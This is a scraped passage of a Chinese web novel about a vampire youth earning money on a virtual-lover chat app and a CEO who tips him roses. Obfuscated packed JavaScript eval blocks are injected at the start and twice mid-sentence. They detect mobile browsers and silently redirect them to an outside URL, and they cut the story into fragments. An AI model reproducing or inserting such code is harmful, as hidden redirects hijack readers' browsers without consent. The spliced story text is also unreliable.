;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653324|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵:[怎么样用户先生,喜欢小吸血鬼为你准备的魔法吗?] 用户31980:[为我?] 亲亲小耳朵:[对吖,今天从医院出来回家的路上看到有人在变。第一时间想到的就是变给用户先生看。] 用户31980:[因为感谢?] 亲亲小耳朵:[对吖~因为感谢,也希望你能开心。] 亲亲小耳朵:[现在,我要认真地对用户先生说一句,谢谢你~今天医生看了我的膝盖,他说幸亏我来医院治疗了,否则恐怕会有后遗症。] [可是现在因为你,我就不会再有后遗症了。] 用户是31980:[是因为医生。] [哦哦,好,因为你和你的医生~] 。 [为什么没有身份证?] 傅宴舟问完这句话,想起了晚上和蒋昀的聊天。 每个总裁都会有一个当医生的发小。 他也不例外。S市连锁高端私人医疗中心的院长。 蒋昀估计是强忍着满脑子好奇给人安排上检查,给傅宴舟发消息,问他怎么回事,什么人。 傅宴舟让他别多问,治。 蒋昀在电话里告诉他: “得了得了,你忙去吧。片子拍完了,人放我这儿你就放心,不敢耽误总裁您的时间。” “嗯。” 傅宴舟:“他……长什么样子?” 蒋昀:“???什么情况?没见过?你进什么一对一帮扶公益组织了?” 傅宴舟蹙眉:“为什么这么说?” 蒋昀叹了口气,语气中满是作为医生对于一具身体的不满: “严重营养不良 ,头发黄得像没吃过维生素,全身贫血,皮肤煞白,身材消瘦,真怕他走两步就晕倒。不知道是吃不饱饭还是有什么先天疾病。” “很难想象现在还会有这样吃不饱饭的可怜小孩。” 傅宴舟沉默了一会儿:“知道了。” 蒋昀:“不过——你真没见过他啊?” 傅宴舟:“有话直说。” 蒋昀:“长得真漂亮。不是帅,是漂亮。口罩一摘我都惊了一下,皮肤很好,睫毛长地像个小王子,黄毛都像金发。就是很难形容的一种气质。” 傅宴舟听他说“白皮肤黄毛”,和“亲亲小耳朵”的头像基本重合。 是真的。 蒋昀又好奇:“不是,你到底怎么认识小孩的?卡给了,人没见过,电话还打到我这儿,傅总,你让我感到陌生了啊。” 时至今日身边很少有像蒋昀这样话比人直的朋友了。 傅宴舟敛眸收回思绪,大概五六分钟的时间,亲亲小耳朵才回来消息: [我是从家里偷偷跑出来的。我也不是S市的人。] 叛逆少年? 用户31980:[为什么跑出来?] 亲亲小耳朵:[……因为,18岁生日之后我才知道,自己不是爸爸妈妈亲生的。而且……他们好像因为这个很生气。我很害怕,所以就跑了。] 傅宴舟看着这段真假难辨,甚至算得上漏洞百出的话,不禁皱了皱眉。 他脑子里勾勒出一个遥远地区,早早辍学,从小在家里干着重活挨骂挨打,长大之后还被指着鼻子骂养了这么多年白眼狼,头发枯槁,吃不饱饭,身形消瘦,严重营养不良的少年。 傅宴舟感觉自己心跳沉了两下,呼吸随之缓慢发紧。 亲亲小耳朵通常都是秒回,现在却好久没有回复。 傅宴舟正思衬着怎么回应他口中的身世,亲亲小耳朵的消息来了: [抱歉用户先生,我刚刚……去回了一个消息。] 傅宴舟手指一顿,在一群粉红色泡泡的攻击下清醒了一点。 他看着屏幕,好像才忽然意识到,这并不是一个1v1聊天的软件。 亲亲小耳朵,在给用户先生变玫瑰花魔术的时候—— 也可以同时和别人聊天。 8. 第 8 章 亲亲小耳朵:[不过……我好像不应该回。委屈/委屈/] 亲亲小耳朵:[都怪他这个时候找我,都怪我想要投机耍赖。流泪/流泪/] 亲亲小耳朵:[呜呜呜,用户先生,我的手有点发抖,我好像被骗了。] 用户31980:[怎么了?] 亲亲小耳朵很快发了一张图过来,很简单的几句聊天,一个叫“山屿”的人问他□□吗。 小耳朵说可以,但是对方不是已经全部点亮解锁条件了吗?还需要自己的50块吗。 然后对方说,50块的点亮没意思,他玩得是500块的互冲榜。 亲亲小耳朵问冲榜是什么意思,山屿告诉他冲了就知道了,自己很忙还要聊天,别浪费时间。 亲亲小耳朵刚犹豫地回复了一个“好”字,对方就直接给他打赏了一个礼物,底下显示增加魅力值200点。 聊天截图上没有明确写亲亲小耳朵“犹豫”,但傅宴舟似乎能感觉到他迟疑的神情。 山屿告诉他,他卡里钱不够了,让小耳朵给他500之后他提出来再还300。 然后就不回复了。 傅宴舟很快猜到了什么叫□□、冲榜。 用户31980:[□□,暖的是什么?] 宁尔没有夸张,他的手指真的有些发抖。不仅仅是因为丢了钱,而是因为他这么轻易地就被骗了。 明明之前小橙子和他□□那么顺利,明明大家都是来赚钱的不容易,为什么要骗他一个连5个礼物都要不到的人。 难道这就是他骗用户先生的下场吗? 怎么这么笨呢? 呜呜呜呜。呜呜呜呜。 他茫然无措地给用户先生回消息: [那个就是……您看到我头像上那五个小弧线了吗?点亮过的就变成绿色,没有点亮就是灰色。我现在只能和人打字私聊,只有5个弧线全部点亮才能解锁语音聊天室。] 傅宴舟没耐心去探索什么叫语音聊天室,他看到小耳朵头上亮起了三个弧线,还差两个。 结合聊天记录里的那段话,点亮条件应该是赠送大于等于50块的礼物。 傅宴舟按照那个名字在用户栏里搜索了一下这个人,很快就蹦出来一个网络男性头像。 头像的动作精心设计过,穿着连帽衫,脸部露出的也不多,左手勾着衣服,刻意露出细长的腰,隐约好像有几块小腹肌。 ID名称:山屿。 注册时间没多久,等级倒是不低。 傅宴舟表情冷漠的点掉×,回到和小耳朵的聊天页面。 亲亲小耳朵:[用户先生,我可不可以晚点再回你消息,我想再问问他。] 傅宴舟看到这句的时候忍不住在心里笑了一声,,很快打字回复: [问?还是求?] 傅宴舟想起来第一次聊天时候,他只是没回复,小耳朵就一股脑地卖惨求他,还说什么不要再举报他。 不难想象,这个小怂包会怎么求别人把骗走他的钱要回来。 亲亲小耳朵:[求……先求求。] 亲亲小耳朵:[如果不行,我就、我就骂他!] 亲亲小耳朵:[如果还不行……我、我……] 宁尔我不出来了。 一口气卡在喉咙里,憋得宁尔鬼脸发红,嘴巴委屈瘪瘪。 吸血鬼能办到的人类的事太少了。 他要是贞子姐姐就好了。 还可以钻进手机屏幕顺着网线再钻出去,把钱要回来。 用户31980:[所以,你刚刚给了他500块?] 亲亲小耳朵:[点头/点头/(╥﹏╥)] 傅宴舟看着这个微妙的数字。 小耳朵第一次要给他跳辣舞,要的就是500块。现在被骗了,正好也是500块。 用户31980:[你不用再去找他了。] 宁尔看着这句话愣了一下,他再不懂“人情世故”,也隐约能感觉到用户先生想要做什么了。 他赶紧用手指敲字: [用户先生,你该不会想要给我500块吧?不要不要,我不会要的。] 用户31980:[你不是要过么?] 宁尔脸一红:[那个不一样。我给你跳辣舞和你要礼物,和我被骗了您给我补偿是不一样的。] [被人骗已经很难过了。] 再骗您500我会更难过。 宁尔委屈巴巴地撅着小嘴咽了口口水,在心里默默说出这句话。 不是凭本事骗的钱,他才不要。 傅宴舟看他忽然好像懂事起来,像古早鸡汤杂志一样和他说什么人要为自己的错误买单之类的道理。 想到自己刚刚那一刻对这个天真少年的恶意揣测,傅宴舟短暂地蹙了蹙眉。 一条工作消息的提示音传来,严谨、令人清醒。 傅宴舟拿起手机,秘书发来一条消息: [傅总,不好意思打扰您,明天和法国那边开会的会议日程优化终版出来了,请您过目。] [同时抄送给了肖特助,截至明天上午开会前我们随时待命。如有变化第一时间更改。] 已经快半夜一点了。 傅宴舟点开文件,认真看了一遍议程,回复了一句: [可以。] 秘书:[谢谢傅总。我们按照这个日程安排。傅总早点休息。] 傅宴舟给公司的规定向来是如有急事议程,24小时可以沟通。整个盛景集团都知道他是个只有工作,几乎进化了睡眠功能的工作狂。 傅宴舟看着对话框,破天荒地回了一句: [辛苦。] 秘书:[应该的傅总。会议组同其他各部门一同期待明天的洽谈圆满成功。] 傅宴舟放下手机,再次拿起平板打开缘来,点开亲亲小耳朵的头像看了一遍。 和这个小男孩聊久了,这个本来劣质冰冷特效堆积的,几乎看不清真面目的头像好像都柔顺了不少。 傅宴舟仿佛也读懂了那双迷茫无措的漂亮眼眸后,藏得是什么样的情绪。 - 用户先生好久没回复,不过宁尔也没有功夫管他。 他真的在一直在给山屿发消息。 起初他还抱着一丝希望觉得他是忽然没看手机,或者卡里忽然没钱了,可是每等一分钟,希望就更小一点。 更客气的是山屿并没有拉黑他,像是挑衅一样,在屏幕后面看着宁尔这个红鼻子小丑跳脚。 呜呜呜。 太坏了。 他又委屈又憋屈地叹了口不存在的气,看了一眼时间,不早了,用户先生该睡觉了。 宁尔刚打算像昨天一样发晚安,让用户先生早点睡觉,就先收到了他的一条消息。 用户31980:[我并没有打算补偿你被骗500块。] 亲亲小耳朵:[那就好那就好。用户先生谢谢您,我以后一定会很小心,不会再被骗了。] 亲亲小耳朵:[时间又不早啦,您是不是又要睡啦?早点休息明天见,晚安吗?撒娇/撒娇/] 用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653325|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户31980:[嗯。] 用户31980:[不过我也有一个魔术。] 宁尔愣了一下: [哎?用户先生也会魔术吗?好呀,小耳朵想看呢!要发给我看看吗?] 用户31980:[嗯。] 用户31980:[闭眼。] 宁尔心跳小小地加速起来,被骗钱的难过被替代了不少,他乖巧地闭上眼睛,纤长鸦黑的睫毛打在眼睑。 等一下…… 坏了,他忘记问用户先生他需要闭多久了…… 现在睁开问问?万一用户先生刚好变到一半…… 要不闭十分钟?用户先生会不会等得睡着了…… 没等宁尔纠结完,手机忽然猛猛连续震动了几声,震得他手都有点麻了。 宁尔猛地睁开眼,和用户先生的聊天界面忽然出现一大片玫瑰花的特效。 漫天玫瑰在手机屏幕上如花雨般落下,伴随着强力的震动,整个屏幕都变成了红色。 他本来就蜷缩在床里,周围一片死寂的幽黑,显得屏幕上的玫瑰花尤其惹眼。 宁尔呆呆地盯着屏幕,瞳孔颜色不自觉地变浅了一些。 这场用户先生变的玫瑰花雨足足落了3分钟,最后,幻化成了几颗用玫瑰堆叠而成的大红色爱心。 宁尔感觉自己瞳孔的光芒倒映在手机屏幕上数不清的玫瑰花中,是那种灿烂的、吸血鬼最喜欢的红色。 第一次不是以血液的方式出现在他眼前。 特效结束,屏幕清屏,下面有一行小字: 增加魅力值5200点。 宁尔切换到手机屏幕,找了好久找到计算器,在上面按:5200/2=2600。 宁尔吞了一口口水。 亲亲小耳朵:[用户先生,您是不是,多打了一些0?] 用户31980:[没有。] 用户31980:[别误会,玫瑰只是呼应你刚才的魔术。] 宁尔有些懵懵地:[误会什么?] 用户先生的确没有为他的500块买单,而是直接给了他5000块。 宁尔想再问问为什么,可是又觉得自己的问题有点好笑。 这里本来就是网恋平台,他就是想收礼物接单子的,现在人家真给了,如果问问为什么反而显得更笨了。 任何答案都能是用户先生想随意打赏的理由。 宁尔看着用户先生的每一句话,认认真真地打字: [用户先生,这是我人生中第一次看到这么多玫瑰花。是我在人类世界看到过最好的魔法。] 宁尔打字的时候很郑重,呼吸很慢,眼睛亮亮的,几乎是想穿越屏幕,真诚地看着用户先生的眼睛说这些话。 [其实我知道你还是想给我那500块,只是你太好了,看我腿受伤,怕我吃不饱饭,所以施舍给了我那么多钱……] 宁尔边说边有种莫名的委屈,他也不知道自己在委屈什么。 他明明是来赚钱骗钱的,可为什么真有善良先生愿意给他钱的时候,他反而会有点想哭呢。 宁尔感觉自己一时间不知道还能说什么了,他把身体像个小虾米一样又缩了缩,头埋在胸口,手里捏紧手机。 用户31980:[不是施舍,等价交换。] 宁尔愣了一下:[嗯?] 亲亲小耳朵:[用户先生是需要我做什么吗?或者我有什么可以帮助您的吗?] 用户31980:[嗯。] 用户31980:[看看腿。] 9. 第 9 章 第九章 宁尔看着忽然转变的话题,啊哦愣了一下。 对话框上的分红泡泡、屏幕上停留的玫瑰花礼物让宁尔清醒了一点。 也不是清醒,是引导他往另一个方向的晕晕乎乎。 对哦。 他和用户先生是在虚拟恋人软件聊天,不是在失业青年救济站。 不过,刚刚还在甜蜜温馨地变玫瑰花魔术,下一秒就要摆好姿势拍腿吗…… 还真是、真是挺辣个的。 宁尔推开床板,从床里爬出来,打开灯,爬到床上,看着自己的两条腿,有些生涩别扭地摆弄姿势,打开了手机摄像头。 傅宴舟在三分钟后收到了亲亲小耳朵的腿照。 手指把照片在平板上点开放大,照片拍了从黑色短裤往下,直到小腿、脚踝。 少年的两条腿修长均匀,白地像蒙了一层月光的丝绸,光滑细腻,稍稍露出的一点大腿的肉感恰到好处,小腿笔直,肌肉线条流畅,脚踝出圆润的骨头突出。 白皙的皮肤和肩头一样,没有任何杂质,只有膝盖两片大面积的淤青和牛奶般白嫩的皮肤对比。 傅宴舟将目光聚焦在少年的膝头,两片紫色的连青,仿佛用指尖碰一下他都会疼得瑟瑟发抖。 亲亲小耳朵:[这张可以吗?用户先生?] 宁尔感觉自己拍得有点烂。 他特意搜过拍腿的攻略,可那些攻略10个里面有9个都是拍女孩子的腿。 女孩子穿着层层叠叠的漂亮蛋糕小裙子,或者长长的黑色裤子。 那种裤子很紧,更像是袜子。 女孩子的腿本来就很好看,有衣服的装饰之后,就显得更加修长有装饰效果了。 再看他那条单调洗过的旧黑色短裤……宁尔的双腿尴尬不安分地在床上交叠起来。 用户31980:[好一点了。] 啊……? 亲亲小耳朵:[用户先生是说拍照技术吗?歪头/歪头/] 用户31980:[膝盖。] 亲亲小耳朵:[哦哦哦,点头/点头/今天医生给我用了药,已经好多啦!] 宁尔自己也不禁感慨人类世界医疗技术的神奇,他去医院之前还是黑紫色的青,现在已经几乎都只是紫色了。 用户31980:[嗯。] 用户31980:[药不够可以再去医院拿。买点有营养的东西吃。] 天呐,用户先生好像压根没有在意他的腿好不好看,而是比起腿来更担心他的身体。 他好像总是这样酷酷地关心自己。 宁尔嘴角憋起一个藏不住的笑,被人类这么持续关心的滋味很的奇妙,也让他心里怦怦跳。 亲亲小耳朵:[嗯嗯嗯!院长哥哥也嘱咐我啦,他说药不够随时可以去。院长哥哥真是又帅人又好~] 用户3190:[帅?] 亲亲小耳朵:[点头/点头/是我到现在为止见过最帅的人啦!不过也没有用户先生在我心目中的形象帅~撒花/撒花/] 用户31980:[……有效就好。] 宁尔不知道用户先生的“……”是什么意思,但是看到这些关心的话感觉心里暖暖的,他打字: [我知道啦用户先生,我会照顾好自己的。] 他刚发出这句话,屏幕上弹出一个行大大的红字: “试聊100句额度即将用完,倒计发送次数:10。心动不如行动,快来下单解锁你的专属虚拟恋人吧~” 什么额度? 什么试聊? 什么倒计时? 宁尔结结实实懵了一下,反应了一会儿才明白。 这是一个虚拟恋人的软件,既然是付费聊天,软件要赚钱,那当然不能让两个人一直不停地免费聊下去。 宁尔迅速打开自己的资料看,他是初始等级,默认的价格是30元半小时。 礼物打赏不算在下单时长里。 也就是说,想要继续聊天,别管刷了多少礼物,就必须得再次支付这个点单的费用了。 宁尔之前学了一些让别人下单自己的小妙招,可是用户先生刚刚给自己送了那么多玫瑰花,他怎么能再说“麻烦你再充点钱和我聊天吧……” 宁尔开不了这个鬼口,面上发热,尴尬揉了揉自己的脑袋: 亲亲小耳朵:[用户先生……好像聊天100句之后需要付费下单了。] 倒计时:9句。 聊天页面上蹦出一行刺眼的灰色小字。 ! 用户31980:[嗯。] 倒计时8句。 亲亲小耳朵:[哎呀你不要回答我浪费说话机会了吖呜~] 倒计时7句。 亲亲小耳朵:[用户先生,要不要你给我一个支某宝的收款码,我转30元给你,你再下单我?] 用户31980:[不用了。] 亲亲小耳朵:[不用了是神魔意思吖?是不是你怕我骗你?我不会骗你的~要不这样,你也注册一个陪陪号,我下单你!~] 用户31980:[不 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而宁尔连一句当面的谢谢都没有机会说。 宁尔叹了一口气,好吧好吧,用户先生算你走运,没有被小吸血鬼骗更多的钱。 宁尔鼓起腮帮子打字: 亲亲小耳朵:[你是我在这个软件遇到第一个和我认真说话的人。也是这个世界上第三个对我这么好的人。和你聊天的这几天我非常非常开心。我会好好吃饭,按时上药,一直到腿好了。因为这是我和用户先生你的约定。如果以后再联系不到你,我也会在每个世界都祝福你,祝你天天开心,赚更多更多的钱~] 赚很多的钱,是宁尔能想到对人类世界最好的祝福。 没等那边看完消息,宁尔就飞快在屏幕上打字,用掉了最后一句话的机会。 亲亲小耳朵:[用户先生,我其实不喜欢叫您用户先生。你的头像也是灰蒙蒙冷冰冰地让人害怕。如果可以,我许愿你能把名字改成“一碗银耳粥”,这样,如果很久以后有一天你回这里,我也还能认出来你。] 倒计时:0句。恭喜试用体验结束,我们的虚拟恋人能还是否满意呢?心动不如行动,快来下单解锁吧! 聊天界面的发送按钮彻底变灰,只留送玫瑰那条礼物的小动画。 傅宴舟看着那句“一碗银耳粥”,退出软件,在平板的主界面上长按丘比特头像,点击了右上角的×号卸载。 10. 第 10 章 宁尔睡醒之后找到陈元之时候,他正在拿着一个早晨靳伟买的冷包子当晚餐吃。 陈元之问他吃不吃,宁尔摇摇头,那张精致漂亮的苍白小脸上,看起来有点沮丧。 “你怎么了?” 宁尔撇了撇嘴,两腿并拢,坐姿乖巧地坐在陈元之对面的沙发上: “元之,我被人骗了。” 宁尔把昨晚那个叫“山屿”的怎么要和他□□,怎么骗他300块的事一五一十告诉了陈元之。 陈元之听完气得重重拍了下桌子,震得旁边一个小笼包都跳起来掉在了地上。 宁尔赶紧跑过去把小笼包捡起来,撅起嘴轻轻“呼呼”了两下,递给陈元之。 陈元之嘴里的包子还没嚼完,含糊道: “他妈的敢骗到我陈房主的头上,不给他点颜色看看真以为网络是法外之地啊?” “你也真是的,与其网上乱找人,直接找我和靳伟一个账号给你50块不就得了,干嘛相信陌生人?” 陈元之教训得是。 宁尔也是昨天才查到其实平台是禁止□□的。如果被举报的话,会一抓一个准。 他不敢坐下,像个犯错的孩子一样乖乖地站在陈元之对面,低着头听他教训。 其实陈元之也不是和宁尔发脾气,他就是网上冲浪久了嘴比脑子快,遇到不好的事儿习惯性开麦喷。 现在看宁尔低着头轻轻咬着嘴唇,栗色的顺毛恹恹地趴在额前,漂亮的脸蛋苍白没有血色,纤长浓黑的睫毛忽闪着,眼睛不敢看他,指不定昨晚还因为被骗钱哭了多久。 陈元之硬生生把气都随着包子吞下去: “行了,你别管了,这小子从今天开始完蛋了。敢动我的人,找死。” 他拿出手机点了一会儿,可能是找到了骗子的号。至于下一步要怎么做宁尔就不知道了。 宁尔正看着,自己的手机忽然“叮”了一声,他打开一看: “酒酿圆子”申请添加您为好友。 怎么这时候有人要加好友呢。 宁尔先通过了,通过之后点开酒酿圆子的头像,是一个很帅的男孩子在冲浪,穿着一个背心,背肌手臂肌肉发达,背景是蓝色大海和远处的沙滩。 不认识。 这个账号等级已经30多了,头像上的五条弧线早就点亮而消失,名字后面缀了一大串各种标志。 也是个虚拟恋人。 嗯…… 宁尔歪着脑袋想了一会儿,先发制人,打出六个字: [不□□、不冲榜] 宁尔感觉对面正在看手机的陈元之抬头看了他一眼。 酒酿圆子:[?] 亲亲小耳朵:[嗯……你好酒酿圆子,我不认识你,也不知道你为什么加我,但我想告诉你我不□□、不冲榜。] 酒酿圆子:[我认识你。] 宁尔瞪大了眼睛,他又看了一遍对方的头像,确定一定不认识他,疑惑地打字: [真的吗?没有认错人吗?请问你是……] 宁尔感觉陈元之又抬头看了他一眼。 酒酿圆子:[我是你爹。] 宁尔瞬间感觉受到了侮辱,睁大眼睛红了脸,捏着手机一脸惊讶委屈时候,陈元之终于憋不住了: 举起手机的聊天界面朝宁尔晃了晃。 “哈哈哈哈哈哈哈” “酒酿圆子……陈元之,圆子,元之……” 陈元之:“笨蛋。” 宁尔疑惑地皱起眉: “可是这个头像不是你呀。” 陈元之笑了一声: “又不是露脸直播平台,嘴甜声音好听就够了。你随便翻几个头像,基本都是网图。骗你那个山屿也是一眼网图。” “可是……你……我……”宁尔指了指陈元之又指了指自己。 之前可是元之拉着自己穿着黑色蕾丝衬衫拍照的。 “让你自拍是因为你长得好看啊,又不是像我这种普男。那些网图头像看着都那么像,既不如你好看,也不如你有特色。” 宁尔看着陈元之,其实他只是不像靳伟和院长医生那样“帅”,但也长得清秀干净,四肢健全。 宁尔假装笑了笑安慰他: “元之,其实你长得虽然不太好看,但其实没有那么丑。” 陈元之:“……小嘴巴,闭起来。” 陈元之翻着宁尔简单的资料,看到宁尔昵称后面缀着的那个“限时守护”惊了一下: “我靠,有富婆给你打赏了嘉年华啊?” 宁尔也注意到了昨晚出现的那个标志,摇摇头: “不是嘉年华。是玫瑰。” “很多很多玫瑰。” “限时守护”的标志是一个人同时打赏5000块以上的礼物会出现的标,在昵称后面挂三天。 “呦呵,够浪漫啊小耳朵。” 一个嘉年华能搞定的事儿,偏偏选了那么多玫瑰花。 “该不会是前几天给你给你送医疗卡那个女菩萨吧?哎?怎么你的接单数还是0啊?她没下单吗?” 他说到这儿宁尔稍稍沮丧了一下,他假装不在意地摇了摇头: “是他。不过他的确是你说的那种游客,无聊时候下载玩一下,昨天试用期到了之后,就走了。” 陈元之皱起八字眉,一脸难以理解: “走了?你没继续钓着她吗?这种机会都错过了?” 陈元之这么说,宁尔抿了抿唇,他其实是有点后悔的。 只是昨天好像被玫瑰炸弹炸晕了头,又在十句话的限制之内太紧张,最后都忘记了挽留一下。 宁尔在心里暗暗发誓,如果用户先生再回来,或者再遇到这样人,他一定不会这么轻易放过。 - 宁尔和陈元之互相添加了好友,陈元之让他这几天没事先去语音房里蹲蹲,学学规则和套路,反正他只差一个礼物了,开语音直播是迟早的事儿。 有了用户先生那些礼物,宁尔暂时也不用在温饱线上挣扎,于是乖乖听元之的话“听”了三四天直播。 语聊房一般有六个位置,其中五个是主播,一个位置可以由观众“申请上麦”。 当然,申请上麦是有条件的,在直播房里刷一个大墨镜就可以。 直播房有各种类型,有表演才艺的,有讲故事的,有模拟各种声音可以助眠的,有主播们互相聊天的,有占卜的,还有倾听观众情感问题的。 宁尔感觉自己仿佛打开了新世界的大门,在每一个直播房里都听了很久很久。 宁尔听得津津有味,一个墨镜需要6块钱,他在每一个直播间潇洒地刷了“学费”,然后退出,丝毫没有意识到差点上了各个麦。 有的有男有女,有的只有男生或者女生,除了播的内容让宁尔十分新鲜以外,他还发现了一个共同点——大家的声音都很好听。 包括陈元之。 他有时候偶尔碰到陈元之对着话筒叫宝宝,都觉得耳朵酥酥麻麻的。 他的声音—— 宁尔有些不自信地哼哼出一个音。 他以前好像从没在意过声音好不好听。 也不知道自己这个小吸血鬼的声音,会不会受人类的喜欢。 要不问问元之? 算了,他都知道元之会怎么回答。 肯定告诉他你长得那么漂亮声音好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653327|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好听不重要。 问靳伟? 靳伟肯定会拍一下他的脑袋问“你想干什么?” 问问保安队的张哥? 宁尔赶紧摇摇脑袋晃掉这个想法。 如果用户先生还在就好了…… 宁尔皱了皱眉,继续点进一个叫“前男友有话说”的聊天房,一进去就听到一个男主播用声嘶力竭的声音哭喊,道歉,挽留。 他一个人又哭又演,哭地撕心裂肺,夹杂着真诚地道歉,宁尔听得都出神了。 道歉持续了三分钟,主播忽然收了哭腔,轻声道: “姐,您这边要求的扮演前男友道歉的时间结束啦。” 观众位上女生头像抖了抖,紧接着屏幕上飘过一个大火箭的特效,富婆姐姐声音冷淡: “再来十分钟的。” “……” 宁尔看到评论区都是“哈哈哈哈哈哈”和“爽死了爽死了”,“等我有钱了我也这么点”,呆呆地眨了眨眼。 原来还可以这样。 这个软件的聊天室千奇百怪的玩法,远超过宁尔的想象。 又学了一个新知识。 宁尔没有在评论区弹幕发过言,默默感激地刷了一个墨镜准备退出。 评论区:? ? ? 谁啊富婆的队都想插? 房主:@亲亲小耳朵新人吧?排个队。 宁尔看到评论区紫色的@,吓了一跳,赶紧打字解释: [不是的不是的] [我只是觉得很好听,学到了很多,来交学费哒。] [我马上就走,你们继续~撒花/撒花/] 观众位上的富婆:[?我的痛苦,你的战利品?] 紧接着没等宁尔退出,就直接被“抬”到了那个观众的连麦位上。 这个语音房在线有一百多人,宁尔的头像、昵称全显示着,第一次受到这么多人的关注,宁尔感觉一时间慌乱无措,隔着屏幕都在脸红。 弹幕的评论区好像在他解释完那几句之后变得更糟糕了,都在刷: [同行啊??来踢馆啊??] [好逗啊,第一次见同行这么高调。] [潜水学学就算了,怎么还上麦哈哈哈哈哈。来碰瓷赚流量的吧?] [有点可爱怎么回事?] 房主:“亲亲小耳朵,有麦吗?” 房主的声音在整个聊天房里响起,宁尔看着左下角那个麦克风的标志,克服了好几遍,忽然像失语了一样,嗓子里仿佛有小蚂蚁在爬,连憋得通红,怎么都开不了口。 亲亲小耳朵:[对不起,没有。] 评论区:[这个可以有。] 亲亲小耳朵:[对不起,这个真没有。] [哈哈哈哈哈哈哈哈哈] [聊天房权限都没解锁,合理相信真是来学习的] [深夜聊天室里学习666] [爱学习有错吗?回答我!看着我的眼睛,回答我!] [他这个吸血鬼特效怎么这么好看啊?我用同款拍出来怎么想报警啊?] 宁尔被抬在观众席上丢人了大概足足一分钟,房主终于没耐心了,说了一句“你时间到了”就把人下了。 宁尔被踢下位置,他都没有勇气多待一秒钟,赶紧退出了这个语音房。 原来,被这么多陌生人关注是这样的感觉。 宁尔长长地出了一口气,丝毫没有注意到自己的粉丝列表因为这一分钟的沉默忽然多了几个人。 列表有新消息跳动,宁尔一看,正是刚刚的房主“春风与我皆过客”。 呜呜呜,怎么还追鲨吖? 11. 第 11 章 宁尔颤着手指点开那个未读。 春风与你皆过客:[头像是本人?] 刚刚的小插曲已经让宁尔的学到了教训。 网络世界,谨言慎行。 亲亲小耳朵:[是……还是不是呢?] 亲亲小耳朵: [春风兄,我真的不是来踢馆挑衅哒,真的只是想学习一下怎么播呜。] 春风与你皆过客:[哪儿来的古风小生?] 春风与你皆过客:[没别的意思。如果头像是你本人的话,想问问你想不想来我房间当常驻?] 唔? 语音房的5个位置,一般都是一个团队的人一起播。彼此声音配合,说话熟悉,不容易冷场,也更有节目效果。 房主的位置不容易做。负责总控节奏,盯礼物,其他人相对轻松一些,根据任务和观众点名开麦就行。 陈元之就是房主。 但他说他的房间太高阶了,不适合现在的宁尔。 等宁尔先历练历练再带他一起玩。 亲亲小耳朵:[是我本人,有点小帅。] 亲亲小耳朵:[常驻是什么意思呀?] 春风与你皆过客:[就是加入我们队,每晚只要你有时间就你播,4号位永远留给你。有事儿请个假就行,不想播随时退出。] [我的房你也看到了,算不上多牛逼,每晚每个兄弟赚一天的饭钱烟钱足够。] 听起来特别好。 不用他付出什么,他们带着自己播。 宁尔心里有些小激动地打字: [可是我是一个新人,这样也可以吗?] 春风与你皆过客:[肯定要试啊。明晚你来试一天,通过就加入。] 春风与你皆过客:[其实我们本来前段时间来了个不错的主播,结果播了,但是他总请假,这回又无故旷工了,你要是播得好直接把他顶了。] 宁尔也不太清楚这里面的规则,正在琢磨的时候,春风兄忽然给他打赏了200块的礼物。 头顶的弧线立马就全部点满了。 ?? 春风与你皆过客:[你不是还差50的礼物么?当见面礼了。] 春风与你皆过客:[明晚10点准时开播。不建议你摇人作假。] 春风兄说完就继续回房间直播了,酷得像靳伟。 - 宁尔终于解锁了语音功能,他和陈元之说了进队的事儿,陈元之查了查春风与你皆过客的房,小房间,挺干净,有时候一起整一些创意花活,适合新人。 他拍拍宁尔的肩:“孩子长大了,能赚钱养家了。” “小耳朵,等你火了能不能请哥哥们吃火锅啊?” 宁尔眼睛亮亮的:“吃!每天吃!点20份涮鸭血!” 陈元之:“yue” 傍晚太阳落山后宁尔出去楼下逛了逛杂货店,买了一副十块钱的有线耳机,又用心挑了一个20块的玻璃花瓶。 路过一排在路边小架子上支起来的衣服时,宁尔看到一条干净的白色衬衫停下了脚步。 他们吸血鬼不喜欢白色,尤其在人类世界。 他的几件衣服也都是黑色T恤。虽然再洗几次可能也白了。 可是最近在软件上看同行看多了,宁尔发现人类世界好像喜欢男孩子穿白色衬衫。 老板主动招呼了宁尔,衬衫稍微有些长,最后老板说看他长得这么漂亮,原价80,50卖给他好了。 宁尔鬼使神差付了钱,提着衣服回家。 他往花瓶里弄了点水,认认真真地把把他给用户先生变魔术的玫瑰花插进去,用食指插进花瓶沾上水,给花瓣上沾上几滴“露珠”。 鲜艳的红色假玫瑰,成了整个阴暗潮湿房间里唯一的亮色。 